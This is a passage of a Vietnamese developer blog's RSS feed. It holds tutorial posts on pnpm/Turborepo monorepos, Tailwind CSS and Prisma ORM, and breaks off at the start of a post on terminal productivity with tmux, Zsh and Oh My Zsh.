    &quot;react&quot;: &quot;^18.0.0&quot;
  },
  &quot;devDependencies&quot;: {
    &quot;@myorg/config&quot;: &quot;workspace:*&quot;,
    &quot;typescript&quot;: &quot;^5.5.0&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;apps/web/package.json&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;name&quot;: &quot;web&quot;,
  &quot;dependencies&quot;: {
    &quot;@myorg/ui&quot;: &quot;workspace:*&quot;,
    &quot;@myorg/utils&quot;: &quot;workspace:*&quot;,
    &quot;@myorg/db&quot;: &quot;workspace:*&quot;,
    &quot;next&quot;: &quot;^14.0.0&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Local Development&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Chạy tất cả apps
pnpm dev

# Chạy specific app
pnpm --filter web dev

# Thêm dependency
pnpm --filter web add zod

# Thêm shared package vào app
pnpm --filter web add @myorg/ui

# Build specific package và dependent
pnpm --filter @myorg/ui build
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Dependency Graph&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;                    web
                   / | \
                  /  |  \
                 /   |   \
              ui   utils  db
               |           |
               +-------+---+
                       |
                    config
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Turborepo tự động xác định thứ tự build dựa trên dependency graph.&lt;/p&gt;
&lt;h2&gt;Shared Config&lt;/h2&gt;
&lt;h3&gt;packages/config/tsconfig.json&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;compilerOptions&quot;: {
    &quot;target&quot;: &quot;ES2022&quot;,
    &quot;module&quot;: &quot;ESNext&quot;,
    &quot;moduleResolution&quot;: &quot;bundler&quot;,
    &quot;strict&quot;: true,
    &quot;skipLibCheck&quot;: true
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;apps/web/tsconfig.json&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;extends&quot;: &quot;@myorg/config/tsconfig.json&quot;,
  &quot;compilerOptions&quot;: {
    &quot;jsx&quot;: &quot;preserve&quot;,
    &quot;plugins&quot;: [{ &quot;name&quot;: &quot;next&quot; }]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;packages/config/eslint.js&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;module.exports = {
  extends: [&apos;turbo&apos;, &apos;prettier&apos;],
  rules: {
    &apos;@typescript-eslint/no-unused-vars&apos;: &apos;error&apos;,
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CI/CD với Monorepo&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# .github/workflows/ci.yml
name: CI
on: [push]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: pnpm/action-setup@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: &apos;pnpm&apos;

      - run: pnpm install
      - run: pnpm turbo lint test build

      # Cache cho Turborepo
      - uses: actions/cache@v4
        with:
          path: .turbo
          key: ${{ runner.os }}-turbo-${{ github.sha }}
          restore-keys: |
            ${{ runner.os }}-turbo-
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nx — Alternative Cho Turborepo&lt;/h2&gt;
&lt;p&gt;Nx mạnh hơn Turborepo ở một số điểm:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// nx.json
{
  &quot;tasksRunnerOptions&quot;: {
    &quot;default&quot;: {
      &quot;runner&quot;: &quot;nx/tasks-runners/default&quot;,
      &quot;options&quot;: {
        &quot;cacheableOperations&quot;: [&quot;build&quot;, &quot;lint&quot;, &quot;test&quot;]
      }
    }
  },
  &quot;generators&quot;: {
    &quot;@nx/react&quot;: {
      &quot;application&quot;: {
        &quot;style&quot;: &quot;tailwind&quot;,
        &quot;bundler&quot;: &quot;vite&quot;
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nx có generator (code scaffolding), dependency graph visualization, và affected commands:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Chỉ test package bị ảnh hưởng bởi thay đổi
nx affected:test

# Visualize dependency graph
nx graph
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Docker Build&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;FROM node:20-alpine AS builder
WORKDIR /app

# Install dependencies
COPY pnpm-lock.yaml pnpm-workspace.yaml package.json ./
COPY apps/web/package.json apps/web/
COPY packages/ packages/
RUN pnpm install

# Build
COPY . .
RUN pnpm turbo build --filter=web

FROM node:20-alpine
WORKDIR /app
COPY --from=builder /app/apps/web/.next ./.next
COPY --from=builder /app/apps/web/public ./public
COPY --from=builder /app/apps/web/package.json ./
EXPOSE 3000
CMD [&quot;pnpm&quot;, &quot;start&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Monorepo không dành cho mọi project — nếu team &amp;#x3C; 5 người, project nhỏ, polyrepo vẫn ổn. Nhưng khi bạn có:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nhiều app share code&lt;/li&gt;
&lt;li&gt;Nhiều package cần atomic change&lt;/li&gt;
&lt;li&gt;Team muốn reuse config, types, utils&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Thì monorepo với pnpm + Turborepo là lựa chọn tuyệt vời. Bắt đầu từ đơn giản, thêm package khi cần.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://turbo.build/repo/docs&quot;&gt;Turborepo Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pnpm.io/workspaces&quot;&gt;pnpm Workspaces&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nx.dev/getting-started/intro&quot;&gt;Nx Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://monorepo.tools&quot;&gt;Monorepo Patterns&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions&quot;&gt;GitHub Actions Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Tailwind CSS — Utility-First Cho Giao Diện Nhanh</title><link>https://dopana-blog.pages.dev/blog/tailwind-css</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/tailwind-css</guid><description>Tailwind CSS từ cơ bản đến nâng cao: thiết kế responsive, custom theme, optimization cho production.</description><pubDate>Sun, 19 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Tailwind CSS thay đổi cách viết CSS. Utility classes thay vì custom CSS — nhanh hơn, nhất quán hơn, dễ maintain hơn.&lt;/p&gt;
&lt;h2&gt;Utility-First&lt;/h2&gt;
&lt;p&gt;Thay vì: đặt tên class → mở file CSS → viết rules&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- ❌ Cách cũ --&gt;
&amp;#x3C;div class=&quot;card&quot;&gt;
  &amp;#x3C;h2 class=&quot;card-title&quot;&gt;Hello&amp;#x3C;/h2&gt;
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.card { background: white; border-radius: 8px; padding: 16px; box-shadow: 0 1px 3px rgba(0,0,0,0.1); }
.card-title { font-size: 1.25rem; font-weight: 600; color: #1a1a1a; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Với Tailwind — dùng class trực tiếp trong HTML:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- ✅ Tailwind --&gt;
&amp;#x3C;div class=&quot;bg-white rounded-lg p-4 shadow-sm&quot;&gt;
  &amp;#x3C;h2 class=&quot;text-xl font-semibold text-gray-900&quot;&gt;Hello&amp;#x3C;/h2&gt;
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Responsive Design&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Mobile-first: mặc định cho mobile, sm: cho tablet, lg: cho desktop --&gt;
&amp;#x3C;div class=&quot;
  grid
  grid-cols-1
  sm:grid-cols-2
  lg:grid-cols-3
  xl:grid-cols-4
  gap-4
&quot;&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Breakpoints mặc định:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;sm: 640px   → @media (min-width: 640px)
md: 768px
lg: 1024px
xl: 1280px
2xl: 1536px
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Dark Mode&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;div class=&quot;bg-white dark:bg-gray-900 text-gray-900 dark:text-gray-100&quot;&gt;
  &amp;#x3C;h1 class=&quot;text-2xl font-bold&quot;&gt;Content&amp;#x3C;/h1&gt;
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Config &lt;code&gt;tailwind.config.ts&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;export default {
  darkMode: &apos;class&apos;, // Dùng class toggle — không theo system
  // hoặc
  darkMode: &apos;media&apos;, // Theo system preference
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Custom Theme&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// tailwind.config.ts
import type { Config } from &apos;tailwindcss&apos;;

export default {
  content: [&apos;./src/**/*.{astro,tsx,html}&apos;],
  theme: {
    extend: {
      colors: {
        brand: {
          50: &apos;#eff6ff&apos;,
          100: &apos;#dbeafe&apos;,
          500: &apos;#3b82f6&apos;,
          900: &apos;#1e3a5f&apos;,
        },
      },
      fontFamily: {
        sans: [&apos;Inter&apos;, &apos;system-ui&apos;, &apos;sans-serif&apos;],
      },
      spacing: {
        &apos;18&apos;: &apos;4.5rem&apos;,
        &apos;88&apos;: &apos;22rem&apos;,
      },
      animation: {
        &apos;fade-in&apos;: &apos;fadeIn 0.3s ease-in-out&apos;,
      },
      keyframes: {
        fadeIn: {
          &apos;0%&apos;: { opacity: &apos;0&apos; },
          &apos;100%&apos;: { opacity: &apos;1&apos; },
        },
      },
    },
  },
  plugins: [],
} satisfies Config;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Components — Tái Sử Dụng&lt;/h2&gt;
&lt;p&gt;Với React/Astro — tách thành component:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;// Button.tsx
interface ButtonProps {
  variant?: &apos;primary&apos; | &apos;secondary&apos; | &apos;ghost&apos;;
  size?: &apos;sm&apos; | &apos;md&apos; | &apos;lg&apos;;
  children: React.ReactNode;
}

const variants = {
  primary: &apos;bg-blue-600 text-white hover:bg-blue-700&apos;,
  secondary: &apos;bg-gray-200 text-gray-900 hover:bg-gray-300&apos;,
  ghost: &apos;text-gray-600 hover:bg-gray-100&apos;,
};

const sizes = {
  sm: &apos;px-3 py-1.5 text-sm&apos;,
  md: &apos;px-4 py-2 text-base&apos;,
  lg: &apos;px-6 py-3 text-lg&apos;,
};

export function Button({ variant = &apos;primary&apos;, size = &apos;md&apos;, children }: ButtonProps) {
  return (
    &amp;#x3C;button
      className={`
        inline-flex items-center justify-center
        font-medium rounded-lg
        transition-colors duration-200
        focus:outline-none focus:ring-2 focus:ring-blue-500
        disabled:opacity-50 disabled:cursor-not-allowed
        ${variants[variant]}
        ${sizes[size]}
      `}
    &gt;
      {children}
    &amp;#x3C;/button&gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Layout Ví Dụ&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Card --&gt;
&amp;#x3C;div class=&quot;max-w-sm rounded-xl overflow-hidden shadow-lg bg-white&quot;&gt;
  &amp;#x3C;img class=&quot;w-full h-48 object-cover&quot; src=&quot;...&quot; alt=&quot;...&quot; /&gt;
  &amp;#x3C;div class=&quot;p-6&quot;&gt;
    &amp;#x3C;div class=&quot;flex items-center gap-2 mb-2&quot;&gt;
      &amp;#x3C;span class=&quot;px-2 py-1 text-xs font-medium bg-blue-100 text-blue-800 rounded-full&quot;&gt;
        Technology
      &amp;#x3C;/span&gt;
    &amp;#x3C;/div&gt;
    &amp;#x3C;h3 class=&quot;text-xl font-semibold text-gray-900 mb-2&quot;&gt;Title&amp;#x3C;/h3&gt;
    &amp;#x3C;p class=&quot;text-gray-600 text-sm leading-relaxed&quot;&gt;Description...&amp;#x3C;/p&gt;
    &amp;#x3C;div class=&quot;mt-4 flex items-center gap-3&quot;&gt;
      &amp;#x3C;img class=&quot;w-8 h-8 rounded-full&quot; src=&quot;avatar.jpg&quot; alt=&quot;&quot; /&gt;
      &amp;#x3C;span class=&quot;text-sm text-gray-500&quot;&gt;Alice • 3 min read&amp;#x3C;/span&gt;
    &amp;#x3C;/div&gt;
  &amp;#x3C;/div&gt;
&amp;#x3C;/div&gt;

&amp;#x3C;!-- Navbar --&gt;
&amp;#x3C;nav class=&quot;sticky top-0 z-50 bg-white/80 backdrop-blur-md border-b border-gray-200&quot;&gt;
  &amp;#x3C;div class=&quot;max-w-7xl mx-auto px-4 sm:px-6 lg:px-8&quot;&gt;
    &amp;#x3C;div class=&quot;flex items-center justify-between h-16&quot;&gt;
      &amp;#x3C;div class=&quot;flex items-center gap-8&quot;&gt;
        &amp;#x3C;span class=&quot;text-xl font-bold text-gray-900&quot;&gt;Logo&amp;#x3C;/span&gt;
        &amp;#x3C;div class=&quot;hidden md:flex items-center gap-6&quot;&gt;
          &amp;#x3C;a href=&quot;#&quot; class=&quot;text-gray-600 hover:text-gray-900&quot;&gt;Home&amp;#x3C;/a&gt;
          &amp;#x3C;a href=&quot;#&quot; class=&quot;text-gray-600 hover:text-gray-900&quot;&gt;Blog&amp;#x3C;/a&gt;
        &amp;#x3C;/div&gt;
      &amp;#x3C;/div&gt;
      &amp;#x3C;button class=&quot;md:hidden p-2&quot;&gt;☰&amp;#x3C;/button&gt;
    &amp;#x3C;/div&gt;
  &amp;#x3C;/div&gt;
&amp;#x3C;/nav&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Optimization — Purge CSS&lt;/h2&gt;
&lt;p&gt;Tailwind tự động loại bỏ CSS không dùng trong production:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;export default {
  content: [
    &apos;./src/**/*.{astro,tsx,html}&apos;,
    &apos;./node_modules/my-library/**/*.tsx&apos;, // Include cả library
  ],
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kết quả: file CSS thường &amp;#x3C; 10KB sau khi gzip.&lt;/p&gt;
&lt;h2&gt;Với Astro&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
// src/pages/index.astro
import Layout from &apos;../layouts/Layout.astro&apos;;
---

&amp;#x3C;Layout title=&quot;Home&quot;&gt;
  &amp;#x3C;main class=&quot;min-h-screen bg-gradient-to-br from-blue-50 to-indigo-100&quot;&gt;
    &amp;#x3C;div class=&quot;max-w-4xl mx-auto px-4 py-20&quot;&gt;
      &amp;#x3C;h1 class=&quot;text-5xl font-bold text-gray-900 mb-6 bg-gradient-to-r from-blue-600 to-indigo-600 bg-clip-text text-transparent&quot;&gt;
        Welcome
      &amp;#x3C;/h1&gt;
      &amp;#x3C;p class=&quot;text-xl text-gray-600 mb-8&quot;&gt;
        Built with Astro + Tailwind CSS
      &amp;#x3C;/p&gt;
      &amp;#x3C;a
        href=&quot;/blog&quot;
        class=&quot;inline-flex items-center px-6 py-3 bg-blue-600 text-white font-medium rounded-lg hover:bg-blue-700 transition-colors&quot;
      &gt;
        Read Blog →
      &amp;#x3C;/a&gt;
    &amp;#x3C;/div&gt;
  &amp;#x3C;/main&gt;
&amp;#x3C;/Layout&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;VS Code Extensions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Tailwind CSS IntelliSense — autocomplete, hover preview&lt;/li&gt;
&lt;li&gt;Tailwind Fold — fold long class lists&lt;/li&gt;
&lt;li&gt;Headwind — sắp xếp class theo order&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tips&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- arbitrary value — khi cần giá trị đặc biệt --&gt;
&amp;#x3C;div class=&quot;w-[calc(100%-2rem)] top-[37px]&quot;&gt;
  
&amp;#x3C;!-- ! cho important --&gt;
&amp;#x3C;div class=&quot;!text-blue-600&quot;&gt;

&amp;#x3C;!-- group hover --&gt;
&amp;#x3C;div class=&quot;group cursor-pointer&quot;&gt;
  &amp;#x3C;h3 class=&quot;group-hover:text-blue-600&quot;&gt;Title&amp;#x3C;/h3&gt;
  &amp;#x3C;p class=&quot;opacity-0 group-hover:opacity-100 transition&quot;&gt;Hidden content&amp;#x3C;/p&gt;
&amp;#x3C;/div&gt;

&amp;#x3C;!-- peer — dựa vào sibling state --&gt;
&amp;#x3C;input class=&quot;peer&quot; type=&quot;checkbox&quot; /&gt;
&amp;#x3C;label class=&quot;peer-checked:text-blue-600&quot;&gt;Check me&amp;#x3C;/label&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Tailwind CSS xoá bỏ việc đặt tên class, chuyển context switch giữa HTML và CSS. Nhanh hơn, nhất quán hơn. Học 20 class đầu khó — nhưng sau đó là tự nhiên. Kết hợp với component framework (React, Astro) cho kết quả tuyệt vời.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tailwindcss.com/docs&quot;&gt;Tailwind CSS Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tailwindcss.com/docs/configuration&quot;&gt;Tailwind CSS Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tailwindcss.com/docs/guides/astro&quot;&gt;Tailwind CSS Installation with Astro&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://unocss.dev&quot;&gt;UnoCSS Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS&quot;&gt;MDN CSS Reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Prisma ORM — Từ Schema Đến Database Trong Phút</title><link>https://dopana-blog.pages.dev/blog/prisma-orm</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/prisma-orm</guid><description>Làm việc với database qua Prisma ORM: schema, migrations, queries, relations và best practices.</description><pubDate>Sat, 18 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Prisma là ORM hiện đại cho TypeScript. Không như TypeORM hay Sequelize — Prisma tự động sinh type, giúp DevX cực kỳ tốt.&lt;/p&gt;
&lt;h2&gt;Setup&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install prisma @prisma/client
npx prisma init
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tạo file &lt;code&gt;prisma/schema.prisma&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-prisma&quot;&gt;generator client {
  provider = &quot;prisma-client-js&quot;
}

datasource db {
  provider = &quot;postgresql&quot;
  url      = env(&quot;DATABASE_URL&quot;)
}

model User {
  id        Int      @id @default(autoincrement())
  email     String   @unique
  name      String
  posts     Post[]
  createdAt DateTime @default(now())
  updatedAt DateTime @updatedAt
}

model Post {
  id        Int      @id @default(autoincrement())
  title     String
  content   String?
  published Boolean  @default(false)
  author    User     @relation(fields: [authorId], references: [id])
  authorId  Int
  createdAt DateTime @default(now())
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Migrations&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Tạo migration
npx prisma migrate dev --name init

# Áp dụng migration lên production
npx prisma migrate deploy

# Reset database
npx prisma migrate reset

# Xem migration history
npx prisma migrate status
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CRUD Cơ Bản&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { PrismaClient } from &apos;@prisma/client&apos;;

const prisma = new PrismaClient();

// Create
const user = await prisma.user.create({
  data: {
    email: &apos;alice@example.com&apos;,
    name: &apos;Alice&apos;,
  },
});

// Read
const user = await prisma.user.findUnique({
  where: { email: &apos;alice@example.com&apos; },
  include: { posts: true },
});

const users = await prisma.user.findMany({
  where: { name: { contains: &apos;Ali&apos; } },
  orderBy: { createdAt: &apos;desc&apos; },
  take: 10,
  skip: 0,
});

// Update
const updated = await prisma.user.update({
  where: { id: 1 },
  data: { name: &apos;Alice Updated&apos; },
});

// Delete
await prisma.user.delete({ where: { id: 1 } });
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Relations&lt;/h2&gt;
&lt;h3&gt;Include — Load Relation&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const user = await prisma.user.findUnique({
  where: { id: 1 },
  include: {
    posts: {
      where: { published: true },
      orderBy: { createdAt: &apos;desc&apos; },
      take: 5,
    },
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Nested Create&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const user = await prisma.user.create({
  data: {
    email: &apos;bob@example.com&apos;,
    name: &apos;Bob&apos;,
    posts: {
      create: [
        { title: &apos;Post 1&apos;, content: &apos;Hello&apos; },
        { title: &apos;Post 2&apos;, content: &apos;World&apos; },
      ],
    },
  },
  include: { posts: true },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Nested Update&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;await prisma.user.update({
  where: { id: 1 },
  data: {
    posts: {
      update: {
        where: { id: 10 },
        data: { title: &apos;Updated Title&apos; },
      },
      create: { title: &apos;New Post&apos;, content: &apos;Content&apos; },
      delete: { id: 5 },
    },
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Transactions&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Interactive transaction
await prisma.$transaction(async (tx) =&gt; {
  const user = await tx.user.create({ data: { email, name } });
  const profile = await tx.profile.create({
    data: { userId: user.id, bio },
  });
  return { user, profile };
});

// Batch transaction
const [user1, user2] = await prisma.$transaction([
  prisma.user.create({ data: { email: &apos;a@test.com&apos;, name: &apos;A&apos; } }),
  prisma.user.create({ data: { email: &apos;b@test.com&apos;, name: &apos;B&apos; } }),
]);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pagination&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Offset pagination
const posts = await prisma.post.findMany({
  skip: (page - 1) * limit,
  take: limit,
  orderBy: { createdAt: &apos;desc&apos; },
});

// Cursor pagination (nhanh hơn cho large dataset)
const posts = await prisma.post.findMany({
  take: limit + 1, // Lấy dư 1 để biết có next page
  cursor: cursor ? { id: cursor } : undefined,
  orderBy: { id: &apos;asc&apos; },
  where: { published: true },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Aggregation&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const stats = await prisma.post.aggregate({
  _count: { id: true },
  _avg: { viewCount: true },
  _max: { viewCount: true },
  where: { published: true },
});

const group = await prisma.post.groupBy({
  by: [&apos;authorId&apos;],
  _count: { id: true },
  _sum: { viewCount: true },
  orderBy: { _sum: { viewCount: &apos;desc&apos; } },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Middleware — Hook&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Log query
prisma.$use(async (params, next) =&gt; {
  const before = Date.now();
  const result = await next(params);
  const after = Date.now();
  console.log(`Query ${params.model}.${params.action} took ${after - before}ms`);
  return result;
});

// Soft delete
prisma.$use(async (params, next) =&gt; {
  if (params.action === &apos;delete&apos;) {
    params.action = &apos;update&apos;;
    params.args.data = { deletedAt: new Date() };
  }
  return next(params);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Raw Query&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Khi Prisma query không đủ
const users = await prisma.$queryRaw`
  SELECT id, name, COUNT(p.id) as post_count
  FROM users u
  LEFT JOIN posts p ON p.author_id = u.id
  GROUP BY u.id
  HAVING COUNT(p.id) &gt; 5
`;

// Execute raw
await prisma.$executeRaw`UPDATE posts SET view_count = view_count + 1 WHERE id = ${postId}`;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Best Practices&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// 1. Singleton PrismaClient
const globalForPrisma = globalThis as unknown as {
  prisma: PrismaClient | undefined;
};
export const prisma = globalForPrisma.prisma ?? new PrismaClient();
if (process.env.NODE_ENV !== &apos;production&apos;) globalForPrisma.prisma = prisma;

// 2. Select chỉ field cần — tránh over-fetching
const users = await prisma.user.findMany({
  select: { id: true, name: true, email: true },
});

// 3. Batch create với createMany
await prisma.post.createMany({
  data: posts,
  skipDuplicates: true,
});

// 4. Upsert
await prisma.user.upsert({
  where: { email: &apos;alice@example.com&apos; },
  update: { name: &apos;Alice Updated&apos; },
  create: { email: &apos;alice@example.com&apos;, name: &apos;Alice&apos; },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Migration Production&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Không dùng migrate dev trên production
# Dùng migrate deploy — chỉ chạy migration mới
npx prisma migrate deploy

# Nếu cần chỉnh sửa migration đã áp dụng
npx prisma migrate resolve --applied 20240718000000_init
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Prisma giúp làm việc với database dễ hơn rất nhiều:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Không viết SQL (trừ khi cần)&lt;/li&gt;
&lt;li&gt;Type-safe từ đầu đến cuối&lt;/li&gt;
&lt;li&gt;Migration tự động&lt;/li&gt;
&lt;li&gt;Relations xử lý dễ dàng&lt;/li&gt;
&lt;li&gt;DevX xuất sắc&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nhớ: Luôn dùng &lt;code&gt;select&lt;/code&gt; để tránh over-fetching. Transaction cho multi-step operations. Migration deploy cho production.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.prisma.io/docs&quot;&gt;Prisma Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.prisma.io/docs/orm/prisma-schema/overview&quot;&gt;Prisma Schema Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.prisma.io/docs/orm/prisma-migrate/getting-started&quot;&gt;Prisma Migrate&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.prisma.io/docs/orm/reference/error-reference&quot;&gt;Prisma Error Reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Terminal Productivity — tmux, Zsh, Fish, Alias</title><link>https://dopana-blog.pages.dev/blog/terminal-productivity</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/terminal-productivity</guid><description>Tối ưu terminal workflow: tmux cho session management, Zsh/Fish plugins, alias hữu ích và CLI tools.</description><pubDate>Fri, 17 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Terminal là công cụ chính của developer. Tối ưu nó — tối ưu cả ngày làm việc.&lt;/p&gt;
&lt;h2&gt;Shell — Chọn Đúng&lt;/h2&gt;
&lt;h3&gt;Zsh — Mặc Định Trên macOS&lt;/h3&gt;
&lt;p&gt;Zsh là shell mặc định trên macOS và hầu hết Linux distro mới.&lt;/p&gt;
&lt;p&gt;Oh My Zsh — framework quản lý plugin và theme:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sh -c &quot;$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Plugin nên có (trong &lt;code&gt;~/.zshrc&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;plugins=(
  git # Git aliases: gst, gco, gaa, ...
